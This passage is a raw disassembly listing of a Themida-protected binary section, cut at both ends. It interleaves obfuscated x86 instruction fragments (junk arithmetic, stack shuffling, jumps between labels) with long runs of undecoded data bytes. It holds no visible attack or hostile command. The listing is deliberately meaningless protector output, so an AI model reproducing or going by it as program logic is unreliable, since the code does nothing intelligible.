7E95E00h, 52000007h, 0FFED62E9h db 0FFh ; --------------------------------------------------------------------------- loc_548709: ; CODE XREF: Themida_:005483B0j pop ebx sub al, 93h jmp loc_5488D9 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C4h dd 4BEB8104h, 686D862Bh, 596h, 0BA241489h, 0F075669h, 0FFD83DE9h dd 0EF815DFFh, 770D2AD3h, 230EEF81h, 0EF2918BEh, 230EC781h dd 0E95518BEh, 0FFFFE11Eh, 1C6BC781h, 0A3E92A93h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548753: ; CODE XREF: Themida_:0054F4B5j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push eax mov eax, 31957130h mov esi, 0CE6A8ED1h add esi, eax jmp loc_547559 ; --------------------------------------------------------------------------- loc_548776: ; CODE XREF: Themida_:005453DBj pop edi add edx, esi pop esi xor eax, edx mov edx, [esp] add esp, 4 push ebx jmp loc_5477A5 ; --------------------------------------------------------------------------- loc_54878B: ; CODE XREF: Themida_:00544119j push esi mov esi, 440F4B9Dh sub ebp, esi pop esi sub ebp, eax push edi jmp loc_54659D ; --------------------------------------------------------------------------- dd 81E9D8B7h, 29FFFFB5h, 0C675E9D7h, 74FFFFFFh, 8F5E0424h dd 3CE92404h, 66000056h, 56CCB60Fh, 0E957E689h, 0FFFFF279h ; --------------------------------------------------------------------------- loc_5487C4: ; CODE XREF: Themida_:00544C75j pop edi xchg esi, [esp] mov esp, [esp] and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx push eax xor [esp], ebp jmp loc_546F1A ; --------------------------------------------------------------------------- loc_5487E4: ; CODE XREF: Themida_:00545B82j and ch, dh pop edx jmp loc_54AD9E ; --------------------------------------------------------------------------- dd 2BB53h, 0DD010000h, 242C335Bh, 2B9BE9h, 5EF52100h, 0FFB0DAE9h dd 0E9D0F7FFh, 6A6Ah ; --------------------------------------------------------------------------- loc_54880C: ; CODE XREF: Themida_:00547D51j or eax, edx push dword ptr [esp] pop edx add esp, 4 shr eax, 7 or eax, 695740CBh push 0 sub [esp], eax pop eax push eax mov eax, esp add eax, 4 jmp loc_54F44C ; --------------------------------------------------------------------------- dw 38B5h dd 2869F580h, 240C8BE8h, 0E904C483h, 3FE3h, 4FCF68h, 193CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548852: ; CODE XREF: Themida_:00547488j inc eax not eax dec eax add eax, 7D8D15BEh xor eax, 5E28D84Ch mov edi, eax pop eax add [esp+4], edi pop edi mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_54663C ; --------------------------------------------------------------------------- dd 0D044E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548882: ; CODE XREF: Themida_:0054DAB1j mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop esi push ecx mov ecx, 199D4C7Fh jmp loc_54E33D ; --------------------------------------------------------------------------- loc_54889C: ; CODE XREF: Themida_:0054C9FEj mov ah, dh mov edx, [esp] jmp loc_543BB5 ; --------------------------------------------------------------------------- dw 0D7F7h dd 0FFBC64E9h, 48B66FFh, 4EC8324h, 54241C89h, 3333E9h dd 3CD25C00h, 9EE99C24h, 66FFFFA8h, 0E924048Bh, 0FFFFC9AFh dd 5C24048Fh, 0FFAD67E9h db 0FFh ; --------------------------------------------------------------------------- loc_5488D9: ; CODE XREF: Themida_:0054870Cj sub al, cl add al, 93h push cx mov cl, 0AEh jmp loc_54D1D8 ; --------------------------------------------------------------------------- aYs_0 db 'Y]',0 align 4 dd 8704C583h, 0E95C242Ch, 0FFFFA86Dh, 4C4815Ah, 81000000h dd 4ECh, 242C8900h, 0FFF226E9h db 0FFh ; --------------------------------------------------------------------------- loc_54890D: ; CODE XREF: Themida_:00548665j push ecx mov ecx, 4 add edx, ecx pop ecx push esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] jmp loc_54B192 ; --------------------------------------------------------------------------- db 50h dd 8852D088h, 8BF388C6h, 0AE92414h, 0BB00001Eh, 4, 685BDE01h dd 1885h, 0E9240C89h, 0FFFFF576h, 8106EFC1h, 3A0BC5C7h dd 0C1F78133h, 81338A8Bh, 0DB515AC2h, 81FA015Fh, 0DB515AEAh dd 0BF575F5Fh, 4, 875FFA01h, 248B2414h, 0DCCCE924h, 5AF7FFFFh dd 3294E938h, 44BE0000h, 165A26Dh, 1ECE9F2h, 89660000h dd 0A7E92404h, 100005Eh, 0D7EF81F7h, 5E195943h, 4EC81h dd 1C890000h, 0ACBF5724h, 0E905C20Ch, 0FFFFD468h, 5BEE814Eh dd 12441C0h, 0EA835EF2h, 24148704h, 240C895Ch, 3F174868h dd 0E9815929h, 0F93716E9h, 0D27BA52h, 0E28114CDh, 1F0E1403h dd 5BFFE953h, 248B0000h, 24042124h, 0A76FE99Ch, 0F801FFFFh dd 0E904EC83h, 866h, 5B02E95Ah, 8B660000h, 14E92404h, 81000023h dd 0B116ECC5h, 81D5016Ch, 0B116ECEDh, 0ACED816Ch, 8B485021h dd 11E92414h, 8100003Ah, 4C6h, 2C68100h, 0E9000000h, 2116h dd 0E9243C31h, 0FFFFC09Ch, 5506E0C1h, 90336ABDh, 5DE82924h dd 6ECBC381h, 0CBE90255h, 68FFFFDAh, 0 dd offset dword_445750+8E99h dd 0C04FB100h, 0CFE907E9h, 8BFFFFECh, 0C8312424h, 81C33159h dd 0A77738C2h, 2AC2810Bh, 53101601h, 29068668h, 0E3C15B05h dd 85EB8105h, 817A8429h, 1436EACBh, 582AE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548A9E: ; CODE XREF: Themida_:0054CA43j add esp, 4 push edx push edi mov edi, 4 push esi mov esi, edi mov edx, esi pop esi pop edi jmp loc_54D026 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFA6A1h ; --------------------------------------------------------------------------- loc_548AC4: ; CODE XREF: Themida_:0054477Ej xor ebp, 40D57FBCh shr ebp, 4 push ecx mov ecx, 1BDD1514h sub ebp, 622B4483h sub ebp, ecx add ebp, 622B4483h pop ecx xor ebp, 0A1CBD7EAh sub edi, ebp pop ebp add edi, ebx add edi, 44C426DBh pop ebx jmp loc_54B621 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0E9h dd 0FFFFAD25h ; --------------------------------------------------------------------------- loc_548B00: ; CODE XREF: Themida_:0054E199j push 2E4973FFh jmp loc_543240 ; --------------------------------------------------------------------------- dw 0FF54h dd 52592434h, 0C281E289h, 4, 8704C283h, 525C2414h, 535596BAh dd 0BB534Eh, 81000000h, 630FF1C3h, 1740E968h, 0E1890000h dd 4DD5E9h, 24248B00h, 0E9242C89h, 1398h, 8B240487h, 2CD32424h dd 0EE99C24h, 88FFFFA6h, 48BCE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548B5E: ; CODE XREF: Themida_:00549FE8j add esp, 4 pop ebp push 413Bh mov [esp], esi push 7AFh mov [esp], ebp jmp loc_544A9E ; --------------------------------------------------------------------------- aFpsA db 'fPa',0 align 2 dw 15Eh dd 44EA81DAh, 8165A26Dh, 0E73C91C2h, 4EC8175h, 89000000h dd 8BE9241Ch, 0BFFFFFE3h, 5FB23A7Fh, 1EF814Fh, 0E941946Fh dd 635Ch, 0DEE2E95Ah, 8155FFFFh, 54182404h, 0AE96D48h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548BBF: ; CODE XREF: Themida_:0054747Dj push 5C50h mov [esp], ecx mov cl, 0F0h add dh, 36h add dh, cl jmp loc_548FDD ; --------------------------------------------------------------------------- loc_548BD3: ; CODE XREF: Themida_:0054F447j push eax mov eax, 6AE532C2h sub eax, 0FDB1B66h shr eax, 7 dec eax shl eax, 7 jmp loc_543C98 ; --------------------------------------------------------------------------- dw 515Ah dd 0E98038B1h, 0FFB450D5h, 48BE100h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_546486 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4815924h, 4, 815B5453h, 4C3h, 7EE95100h dd 0ADFFFFCAh, 0B97DE957h, 5352FFFFh, 176FC3BBh, 9041BA69h dd 6EE996E8h, 81000026h, 4ECh, 3777E900h, 43050000h, 5972872Dh dd 0C231C331h, 3655E9h, 4EA2BD00h, 32E932E1h, 8100000Ch dd 0E4B28DC7h, 5FFA01BFh, 3304C283h, 14312414h, 24143324h dd 0A4EBE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C7A: ; CODE XREF: Themida_:0054E08Cj jz loc_545CC0 sub esp, 4 jmp loc_547056 ; --------------------------------------------------------------------------- dd 0C05DE95Ah, 0C681FFFFh, 4, 8B243487h, 5F682424h, 89000061h dd 55E9242Ch, 1000041h, 1FB951EBh, 0E90EF44Ch, 0FFFFBFA7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 4679h mov [esp], edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] push eax push esp pop eax jmp loc_547699 ; --------------------------------------------------------------------------- db 89h dd 0EC812404h, 4, 0BBFFE954h, 8B66FFFFh, 0D7E92404h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CF3: ; CODE XREF: Themida_:00546C4Aj xor eax, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 3C797AFCh sub ecx, 52681854h sub ecx, 0AA9C4E0Bh sub eax, ecx push dword ptr [esp] pop ecx push edx push esp jmp loc_548272 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C1810000h, 9F55B8Dh, 0BA52C101h, 9F55B8Dh, 0C2E9D129h dd 81FFFFC3h, 0BB56E5E7h, 0D7B9512Fh, 41509B27h, 65ACE9h dd 2045B700h, 6103E9FAh, 0E9560000h, 6454h, 24048B66h dd 22C16856h, 4890000h, 5E08924h, 4, 42Dh, 24048700h, 2424895Ch dd 4240483h, 0FAE9555Eh db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D83: ; CODE XREF: Themida_:00543582j shr ebx, 1 jmp loc_54AF60 ; --------------------------------------------------------------------------- dw 0E952h dd 14BDh, 4B07E3C1h, 8904EC83h, 0E2E9243Ch, 80FFFFC1h dd 0E9526AE9h, 1EC7h ; --------------------------------------------------------------------------- loc_548DA8: ; CODE XREF: Themida_:0054565Bj add ecx, eax mov eax, [esp] push esi mov esi, esp push edx mov edx, 5972613Bh dec edx jmp loc_54D0F9 ; --------------------------------------------------------------------------- dd 4D9AE981h, 0D9F72E01h, 0E1C1D9F7h, 1802E907h, 0E95D0000h dd 0FFFFABC0h, 0A4FFF181h, 34054646h, 29040139h, 39342DC8h dd 34FF0401h, 2434FF24h, 4C48159h, 83000000h, 0D82904C4h dd 6807D405h, 0BD555630h, 3359065Eh, 4A97E956h, 68660000h dd 89661C77h, 0BE662434h, 3166759Ah, 348B66F0h, 59545124h dd 1D93E9h, 6855AD00h, 3893h, 0E9240C89h, 0FFFFB4CDh, 51242C89h dd 0B829CEB9h, 0E9CD897Ah, 8E3h, 8395F281h, 0D5896653h dd 0FFA798E9h, 48B66FFh, 0CFBEE924h, 0DDF7FFFFh, 2C78BA52h dd 0D5217012h, 0FFC529E9h, 241489FFh, 68h, 15E95A00h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E77: ; CODE XREF: Themida_:0054AE0Aj sub eax, 3501E1Dh sub edi, eax pop eax jmp loc_54D5D8 ; --------------------------------------------------------------------------- loc_548E84: ; CODE XREF: Themida_:0054F48Aj add edi, 27CC5B0Fh pop ecx sub ebx, edi mov edi, [esp] add esp, 4 add ebx, 29D45D0Eh jmp loc_5490FE ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 36DBE9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548EAA: ; CODE XREF: Themida_:00546774j pop esp xor ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_54F363 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704C3h, 0E8215C24h, 0FFEB9EE9h dd 2434FFFFh, 81242C8Bh, 4C4h, 4C48300h, 3F28E9h, 0C4835800h dd 0E1895104h, 4C181h, 0C1810000h, 4, 5C240C87h, 0F55FE955h dd 4BAFFFFh, 0E9000000h, 307Fh, 5390C381h, 0C3810EE2h dd 584222D1h, 0BAEB815Dh, 811E4404h, 9730C1CBh, 0ECCE963h dd 0D6F70000h, 0B6E1EE81h, 0F3013C74h, 81C3015Eh, 2F418EEBh dd 0C3835875h, 241C3302h, 0FFA3E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_548F49: ; CODE XREF: Themida_:005496ACj pop edx jmp loc_5486B6 ; --------------------------------------------------------------------------- loc_548F4F: ; CODE XREF: Themida_:0054E866j push 5726h jmp loc_54C058 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0C4h dd 1124C04h, 0C4C681FEh, 8B124C04h, 0C483243Ch, 4BB5304h dd 81000000h, 8577B3EEh, 81DE015Dh, 8577B3C6h, 241C8B5Dh dd 4C481h, 34870000h, 0C2095C24h, 4268E2D1h, 0E9000068h dd 4AB2h, 0C581E589h, 4, 0FFAE83E9h, 15F368FFh, 9DE90000h dd 100003Ch, 815D5DE8h, 2D1B27C3h, 0C6BA520Fh, 0F7054E18h dd 0C14242D2h, 0EA8107E2h, 249D68FFh, 735DC381h, 0D3291F84h dd 0E32E9h db 0 ; --------------------------------------------------------------------------- loc_548FDD: ; CODE XREF: Themida_:00548BCEj sub dh, 36h jmp loc_543B82 ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 5C241487h, 6CBB5356h, 0BE223913h, 22391368h, 15BDE31h dd 24348BF0h, 0E904C483h, 0FFFFFD82h ; --------------------------------------------------------------------------- loc_549008: ; CODE XREF: Themida_:005448FDj push ebx mov ebx, esp add ebx, 4 jmp loc_54F4BA ; --------------------------------------------------------------------------- dw 815Ch dd 4C5h, 4C58100h, 0E9000000h, 489Bh, 89F08950h, 24048BC3h dd 4C481h, 348B0000h, 4C48324h, 6193F381h, 5F093543h, 241C8B1Ch dd 4C481h, 65680000h, 89000024h, 2C81241Ch, 7749D424h dd 241C8B52h, 6804C483h, 4178h, 68240489h, 5C3676DDh, 2A506858h dd 0AAE90000h, 81000020h, 4C4h, 0F67DE900h, 0B951FFFFh dd 2E9254A8h, 42E1E9h, 240C8B00h, 0FFE452E9h, 1C68FFh dd 48B0000h, 4C48324h, 110AE9h, 4C18100h, 87000000h, 0E95C240Ch dd 5628h, 4C481h, 4FE90000h, 51FFFFEFh, 780868h, 241C8900h dd 0E9B1B252h, 0FFFFD40Ch, 0F266851h, 81593BAEh, 1C64C4E9h dd 283E681Bh, 34890000h, 1A2FBE24h, 33E907C1h, 57FFFFC6h dd 5E2CEEBFh, 0EF0BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490FE: ; CODE XREF: Themida_:00548E99j push eax mov eax, 35286F5Dh push esi push edx mov edx, 60DC750Fh add edx, 1D7F193Bh sub edx, 669748Bh xor edx, 510D29DCh add edx, 4033F803h mov esi, edx pop edx or esi, 47DC70F5h sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_545BF4 ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FFD42CE9h, 240489FFh, 0FEB8h, 1FFDE900h, 71BD0000h dd 4D7E3111h, 5DFAC581h, 0E58135C6h, 4FAE6B7Dh, 4667F581h dd 0A8E93C74h, 29FFFFEDh, 348758C6h, 0EE07E924h, 51ACFFFFh dd 0FFF6B5E9h, 0C8B66FFh, 5A996824h, 1C890000h, 0E9E38924h dd 20E5h, 243C335Bh, 33243C31h, 248B243Ch, 9CC13824h, 0FF9FBCE9h dd 0B6E9C3FFh, 0B8FFFF9Fh, 502F439Ah, 1C022035h, 28982D43h dd 0A30D7EE7h, 0E930D205h, 42Bh, 2D04E0C1h, 20102CDCh dd 5718E9h, 0E9EA8900h, 0FFFFBAEEh, 2674E95Ah, 248B0000h dd 14896624h, 9C506624h, 0FF9F74E9h db 0FFh ; --------------------------------------------------------------------------- loc_5491F1: ; CODE XREF: Themida_:0054DDBDj mov [esp], ebp mov ebp, 5BE8700Eh mov edi, 0B2CCFF9Ch add edi, ebp pop ebp shr edi, 1 jmp loc_549487 ; --------------------------------------------------------------------------- dd 5995EA80h, 0FFF716E9h, 0F5E950FFh, 0BD00001Dh, 2, 4327EF81h dd 0EF017DD0h, 83EE9h, 4C48300h, 2B850h, 0C6010000h, 74FF5658h dd 0E95E0424h, 0FFFFAD13h, 24048B66h, 5AE1E9h, 14F75500h dd 2FE95D24h, 5B000031h, 26F3BD55h, 8145227Ah, 0C1CE68EDh dd 0FD4DE91Ch, 3C89FFFFh, 5D86BF24h, 57514F51h, 8122E2BFh dd 0FB895309h, 5F5BD989h, 0E2AE9h, 0B9C68100h, 0E92DA73Eh dd 3EDDh, 240C8B66h, 50E9h, 48B90500h, 55F397Ch, 4, 5C240487h dd 8124048Bh, 4ECh, 242C8900h, 0EC83E589h, 241C8904h, 4BBh dd 0E9DD0100h, 46ADh, 0FF242C89h, 5D042474h, 8B24048Fh dd 8B662424h, 68532404h, 5BDh, 24048F54h, 3A6FE9h, 4EC8300h dd 54240489h, 49A1E9h db 0 ; --------------------------------------------------------------------------- loc_5492F1: ; CODE XREF: Themida_:0054ECD3j sub edx, 385A0265h neg edx xor edx, 7C50021Dh add edi, edx mov edx, [esp] add esp, 4 jmp loc_547512 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 8704C183h, 875C240Ch, 835C2434h, 31E904ECh dd 8300001Bh, 148704C2h, 0CD815C24h, 32305FB9h, 58A2BE56h dd 0F509477Fh, 5EDC15Eh, 0C108E5C1h, 2E903EDh, 8100004Ch dd 4C7h, 4C78100h, 87000000h, 815C243Ch, 1DF94C7h, 5FF901EEh dd 4C181h, 0C870000h, 0EF6BE924h, 815FFFFFh, 2A30F6F5h dd 5DF5815Fh, 815EE62Ah, 0B62F58EDh, 5DEF89A2h, 1C781h dd 0EF810000h, 2ADD772Ah, 875FFB01h, 5C241Ch, 0E99C2404h dd 0FFFF9DBDh, 5F15E3B9h, 0DCC1816Ah, 81189A25h, 1C1h dd 0FDE18100h, 8136AA03h, 2171F2E9h, 3E9C106h, 0D23DF181h dd 0BE561F90h, 74342AEEh, 0FFB823E9h, 4C481FFh, 0E9000000h dd 3C2h ; --------------------------------------------------------------------------- loc_5493E4: ; CODE XREF: Themida_:0054A900j mov eax, [esp] jmp loc_54E87C ; --------------------------------------------------------------------------- dd 0F680585Bh, 5AF388A2h, 0B8E9D828h, 81FFFFE9h, 83712DE5h dd 0D5F74D2Bh, 5004E5C1h, 2661EB8h, 0E9C5311Ch, 23FFh dd 709E957h, 0F8280000h, 44BCE9h db 0 ; --------------------------------------------------------------------------- loc_549421: ; CODE XREF: Themida_:0054583Ej add ebx, ebp mov ebp, [esp] add esp, 4 shl ebx, 8 add ebx, 4623B8ECh sub eax, ebx pop ebx add eax, 563D1C91h sub eax, ecx jmp loc_5463C2 ; --------------------------------------------------------------------------- loc_549441: ; CODE XREF: Themida_:0054E90Cj mov esi, 55B82FD5h sub esi, 730F7741h xor esi, 0E2A8B888h push eax mov eax, esi mov ebx, eax push dword ptr [esp] jmp loc_5497CA ; --------------------------------------------------------------------------- db 5Dh dd 52D5F758h, 4327F5BAh, 6A8E969h, 0F5810000h, 511F2351h dd 2404FF55h, 0ECF5815Dh, 12EE058h, 9BE95DE9h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549487: ; CODE XREF: Themida_:00549203j push ebp mov ebp, 2B6F7066h add edi, ebp pop ebp sub esp, 4 mov [esp], eax jmp loc_543983 ; --------------------------------------------------------------------------- db 58h dd 301DE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5494A2: ; CODE XREF: Themida_:00546494j or cl, ah pop ax sub cl, 7Fh add cl, 91h add al, 76h jmp loc_5483AB ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 1A6Ch, 0E9241C89h, 0FFFFE3D6h, 5504C483h dd 0C5815D54h, 4, 2B6DBE56h, 814649D8h, 496672E6h, 66F68100h dd 29004822h, 2C875EF5h, 0A5E95C24h, 53000015h, 42CCE9h dd 243C8700h, 2424895Ch, 1550E9h, 58C30100h, 8704C383h dd 835C241Ch, 3C8904ECh, 0E8A9E924h, 0E289FFFFh, 4C281h dd 0BE560000h, 3FC679D1h, 0B22E955h, 0EF810000h, 55EC5075h dd 0D3F7DF87h, 0EF81DF87h, 4D5B0BF0h, 7C48B92Dh, 2F9CE939h dd 3ABA0000h, 8132DF3Ah, 9B289CCAh, 0B865E95Ch, 0E281FFFFh dd 368C53BFh, 67F2814Ah, 8962CC5Bh, 24148BD0h, 504C483h dd 0F4266Dh, 8E8C148h, 0B335D0F7h, 0E9DBCEF5h, 0FFFFE922h dd 4240483h, 5724048Bh, 0C781E789h, 4, 8704C783h, 55C243Ch dd 4, 64C4BB53h, 7E902CAh, 8100002Bh, 0A33076C3h, 0E9FB0138h dd 0FFFFC1C0h, 4B850h, 0C6290000h, 74FF5658h, 8F5E0424h dd 248B2404h, 24048924h, 0EC83E089h, 24148904h, 4BAh, 5AD00100h dd 0E904E883h, 0FFFFCF92h, 57242C89h, 414901BFh, 26E95262h dd 0F7000022h, 2D2805D8h, 2BE9E180h, 89000024h, 4C781E7h dd 83000000h, 13E904EFh, 4FFFFBCh, 4842C37h, 2CC828C2h dd 0E98404C2h, 3FF1h, 15AF381h, 0EBC12764h, 0F1E38102h dd 81609C7Ah, 0CAA936C3h, 5BDE01FBh, 4EC81h, 3C890000h dd 0BD9AE924h, 48BFFFFh, 4C48324h, 0EA81C201h, 1C8B795Bh dd 0FF9B0CE9h, 0AAE952FFh, 0F7FFFFA6h, 0FAF581DDh, 1914CB2h dd 27E95DEEh, 1FFFFE1h, 5E082474h, 15D0E9h, 1CE3BA00h dd 0BF573276h, 5536298h, 0F75FFA21h, 4F77E9D2h, 5F5A0000h dd 4A0CE9h, 0EC835B00h, 28C6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54969E: ; CODE XREF: Themida_:0054EA20j mov eax, [esp] add esp, 4 push edx mov dl, bl mov ch, dl jmp loc_548F49 ; --------------------------------------------------------------------------- db 0B9h, 1, 0 dd 0C8210000h, 0E92434FFh, 5705h, 51F8045Bh, 0FFF39CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5496C9: ; CODE XREF: Themida_:005449B6j push eax mov eax, 6CCB6D4Dh jmp loc_547970 ; --------------------------------------------------------------------------- loc_5496D4: ; CODE XREF: Themida_:0054B635j mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 jmp loc_54A517 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF9A51h, 0C2B252ACh dd 47CFE9h, 2FDDBD00h, 90E95A68h, 59FFFFC2h, 2A06EB81h dd 3CE91385h, 5200001Ah, 3E3CECBAh, 8BD60160h, 75E92414h dd 56FFFFF9h, 0E117B4BEh, 0EEC14E4Dh, 7EEE8103h, 8117F91Dh dd 3CFA8CC6h, 0D7C7810Eh, 0E9195943h, 0FFFFF237h, 8302C383h dd 1C8904ECh, 0DDFBE924h, 5753FFFFh, 5A4BBA52h, 0E2813F94h dd 5BCF763Bh, 0F6F1EA81h, 8152FEB8h, 4FC242Ch, 815F5E9Eh dd 9E04FCC7h, 7C015A5Eh, 585F0424h, 371468h, 0E2EFE900h dd 0BB53FFFFh, 4, 535BDD01h, 9F5FF1BBh, 6E3C168h, 240C8753h dd 28E9D1F7h, 30000056h, 4F96E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5497CA: ; CODE XREF: Themida_:0054945Aj mov eax, [esp] jmp loc_54A3DC ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 82E9575Ch, 8F000038h dd 248B2404h, 0C8B6624h, 0E6895624h, 4C681h, 51570000h dd 1C01A9B9h, 6E1C13Dh, 1191BF57h, 0EFD166FFh, 8103EFC1h dd 696534E7h, 3CC78152h, 1FDF612h, 0C2E95FF9h, 5DFFFFA4h dd 6693E181h, 0C18143D6h, 0BEE608B6h, 0FFFEFAE9h, 7E952FFh dd 0F7FFFFFDh, 7E8C1D8h, 5F472D35h, 8E0C14Dh, 5ABDDE05h dd 58C329F3h, 28C0BD55h, 0C5813946h, 0D6F3328Ch, 5452E9h dd 24343300h, 33243431h, 0E95C2434h, 0FFFFC51Fh, 338EC781h dd 0EF813DE9h, 0EC8FDAF4h, 835FFB01h, 1C3304EBh, 241C3124h dd 0FFA96EE9h, 88E581FFh, 0C1143429h, 0F58104EDh, 34A311C9h dd 3B12E952h, 34870000h, 24248B24h, 0FF98B4E9h, 0A0CE81FFh dd 52628A5Fh, 0B16063BAh, 5AD60162h, 401E981h, 0C1813F37h dd 2F347DC6h, 2E9F101h, 57FFFFCAh, 0BCF8E952h, 86E9FFFFh db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5498DF: ; CODE XREF: Themida_:00547C04j mov bh, 0Bh jmp loc_54DD61 ; --------------------------------------------------------------------------- aYqJaxSR db 'YQj,R',0 align 2 dw 77FFh dd 2434FF3Ch, 4E30E9h, 5F3D6800h, 1C890000h, 1CBB24h, 0BE560000h dd 56DF4BECh, 0FFDCA8E9h, 58C729FFh, 0E4E9FD01h, 89FFFFE6h dd 8E868E6h, 1C890000h, 28E9BB24h, 514B5977h, 0E26117B9h dd 59CB211Ah, 68h, 241C2900h, 83241C8Bh, 24E904C4h, 8B000022h dd 0C4812434h, 4, 4C681h, 0C6830000h, 24343304h, 33243431h dd 248B2434h, 68E1F724h, 5063h, 0FFE7B6E9h, 504368FFh dd 34890000h, 3CE96824h, 3C890000h, 7268BF24h, 6DE954A1h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54998F: ; CODE XREF: Themida_:005482DCj push ebp jmp loc_5433B5 ; --------------------------------------------------------------------------- db 51h, 0B1h, 45h dd 0F624F180h, 0C5C180D9h, 0C980C9FEh, 81E980EFh, 8859CA28h dd 0B312E9D7h, 1C33FFFFh, 9EC5E924h, 0E981FFFFh, 68876C31h dd 5B62E981h, 2C8B6ACAh, 4C48324h, 0EAE95057h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5499D3: ; CODE XREF: Themida_:005436E5j xchg ebx, [esp] jmp loc_54C455 ; --------------------------------------------------------------------------- db 1 dd 0B456E9D6h, 5266FFFFh, 7E9E7B6h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_5499EB: ; CODE XREF: Themida_:0054F46Ej xor edx, 16A14ABFh shr edx, 8 xor edx, 96B61B4Dh jmp loc_5439EA ; --------------------------------------------------------------------------- loc_5499FF: ; CODE XREF: Themida_:0054B951j inc ebx add ebx, 6C20ED7h jmp loc_54BB2A ; --------------------------------------------------------------------------- db 89h dd 0EC812434h, 4, 0A7ACE957h, 875DFFFFh, 55D2F7D5h, 0E172E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549A26: ; CODE XREF: Themida_:0054EF99j add edx, 57596420h push dword ptr [esp] pop eax add esp, 4 jmp loc_54E904 ; --------------------------------------------------------------------------- loc_549A38: ; CODE XREF: Themida_:0054ABF1j mov ecx, 0B791B3Ah add eax, ecx jmp loc_5452A8 ; --------------------------------------------------------------------------- dd 0C107E8C1h, 943504E8h, 0E9579304h, 0FFFFFEC1h, 0E95E5456h dd 2C89h, 1B74C681h, 3CE95040h, 53FFFFD3h, 0D04327BBh dd 0E9DF017Dh, 0FFFFA50Ch, 5524048Fh, 518AE9h db 0 ; --------------------------------------------------------------------------- loc_549A7D: ; CODE XREF: Themida_:00543F0Dj push eax jmp loc_54A939 ; --------------------------------------------------------------------------- db 89h dd 1AE92414h, 8100002Dh, 0FE3E1F3h, 59ED81A5h, 13D0068h dd 59C581DDh, 5B3D0068h, 0FFED47E9h, 0C68166FFh, 1AE9464Dh dd 0FFFFFFD6h, 0E9042474h, 0FFFF9A98h, 207F83ADh, 0D5840F00h dd 81000004h, 0FA0EB8C6h, 28B95100h, 0E95D3A63h, 0FFFFC83Bh dd 4EC81h, 2C890000h, 67685124h, 0E91FAA0Ah, 517Dh, 0E9CBB050h dd 36ADh, 0F8885066h, 0C96E9h, 0C8B6600h, 4EC8124h, 0E9000000h dd 0FFFFCE24h, 5C243487h, 89F18951h, 5820E9CAh, 0D5310000h dd 11DDE9h, 70E95800h, 0BF00002Ch, 4, 875FFB01h, 0FF5C241Ch dd 0E99C2404h, 0FFFF962Dh, 0BB535256h, 551C174Eh, 444EC4BAh dd 48FCE91Dh, 4B90000h, 81000000h, 0A78DDC3h, 57CB0105h dd 464BE9h, 0E9E78900h, 0FFFFF7EBh, 8904EC83h, 46E9242Ch dd 88FFFFC9h, 0E78853D4h, 0E95BF988h, 28F6h, 0F706EEC1h dd 2AE94ED6h, 0F7FFFFFDh, 68EC2DD0h, 0A5355721h, 0D14E0659h dd 74D50DE0h, 3D357D20h, 2D585C1Dh, 0EF2CBAFDh, 4558C521h dd 19C0E9h db 0 ; --------------------------------------------------------------------------- loc_549BAD: ; CODE XREF: Themida_:005463CDj and esi, 5665C4Fh and esi, 650A4310h inc esi add esi, 523ADC90h sub eax, esi pop esi add eax, 48DB3FECh pop ecx push 2B85h mov [esp], esi mov esi, 3D4D439Bh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push 